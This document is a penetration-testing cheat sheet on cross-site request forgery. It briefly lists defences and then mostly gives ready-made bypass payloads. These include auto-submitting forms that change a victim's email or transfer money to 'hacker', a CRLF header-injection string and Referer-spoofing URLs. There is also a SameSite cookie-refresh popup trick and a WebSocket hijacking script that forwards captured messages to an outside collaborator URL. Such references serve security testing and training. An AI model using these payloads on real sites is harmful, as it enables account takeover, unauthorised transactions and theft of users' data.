---
description: Cross-Site Request Forgery.
---

# CSRF

Allows an attacker to induce users to perform actions that they do not intend to perform.

**Steps**:

* Check action
* Check defences&#x20;

<table data-header-hidden><thead><tr><th width="293"></th><th></th></tr></thead><tbody><tr><td><code>CSRF tokens</code></td><td><em>Value to check</em></td></tr><tr><td><code>SameSite cookies</code></td><td><em>Browser security mechanism that prevent cookies from being included in requests originating from an attacker.</em><br><em>Included in Set-Cookie and with 3 restriction levels:</em> <a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions#strict"><em>Strict</em></a><em>,</em> <a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions#lax"><em>Lax</em> </a><em>(default in chrome),</em> <a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions#none"><em>None</em></a> <em>(+ Secure attribute)</em></td></tr><tr><td><code>Referer-based validation</code></td><td><em>Use of the HTTP Referer header to attempt to defend</em></td></tr></tbody></table>

Right click on request > Engagement tools > [Generate CSRF PoC](https://portswigger.net/burp/documentation/desktop/tools/engagement-tools/generate-csrf-poc).

## Bypassing

### CSRF base

* Change request method GET/POST
* Remove CSRF token
* Use CSRF token of its own session

{% code overflow="wrap" %}
```html
<form method="POST" action="https://vulnerable-website.com/my-account/change-email">
    <input type="hidden" name="email" value="x@y">
</form>
<script>
        document.forms[0].submit();
</script>
```
{% endcode %}

### CSRF in header

Need to find a way to inject header.

```
%0d%0aSet-Cookie:%20csrf=FAKE%3b%20SameSite=None
```

* **CSRF sessions** (es. `csrfKey` in cookie header and `csrf` in body)\
  The CSRF session isn't associated with the user session.\
  Try to inject and use CSRF header and token of its own session.
* **CSRF  token is duplicated in a cookie header**\
  Try to injectthe same CSRF token in cookie header and body.

### SameSite Lax

{% code overflow="wrap" %}
```html
<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
```
{% endcode %}

In Symfony `_method` takes precedence over the normal method.

{% code overflow="wrap" %}
```html
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>
```
{% endcode %}

{% code overflow="wrap" %}
```html
https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000&_method=POST'
```
{% endcode %}

Other frameworks support a variety of similar parameters.

#### Cookie Refresh

To avoid breaking single sign-on (SSO) mechanisms, SameSite Lax allows on top-level `POST` requests in the first 120 seconds.\
So you can trigger the cookie refresh from a new tab.\
Browsers block popup tabs unless they're opened via a manual interaction.

```html
<form method="POST" action="https://vulnerable-website.com/my-account/change-email">
    <input type="hidden" name="email" value="x@y">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://vulnerable-website.com/login/sso');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>
```

### SameSite Strict

Find a gadget that results in a secondary request within the same site.\
One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters.

### Referer Header

Some applications skip the validation if the header is omitted.\
The easiest way to do that is using a META tag within the HTML page that hosts the CSRF attack.

```html
<meta name="referrer" content="never">
```

bypassing the naive way of checking

```
http://vulnerable-website.com.attacker-website.com/csrf-attack
```

```
http://attacker-website.com/csrf-attack?vulnerable-website.com
```

For pushing Referer header in Javascript

{% code overflow="wrap" %}
```javascript
history.pushState("", "", "/?value-referer")
```
{% endcode %}

Many browsers now strip the query string from the Referer header by default as a security measure.\
To override this behavior and ensure that the full URL is included in the request add the following header to the "Head" section in webhook:

```
Referrer-Policy: unsafe-url
```

## CSRF WebSocket hijacking

CSRF vulnerability on a [WebSocket handshake](https://portswigger.net/web-security/websockets/what-are-websockets#how-are-websocket-connections-established).\
Unlike regular CSRF, the attacker gains two-way interaction with the compromised application.\
You typically need to find a handshake message that relies solely on HTTP cookies for session handling and doesn't employ any tokens or other unpredictable values in request parameters.

{% code overflow="wrap" %}
```html
<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', 
            {method: 'POST', mode: 'no-cors', body: event.data}
        );
    };
</script>
```
{% endcode %}
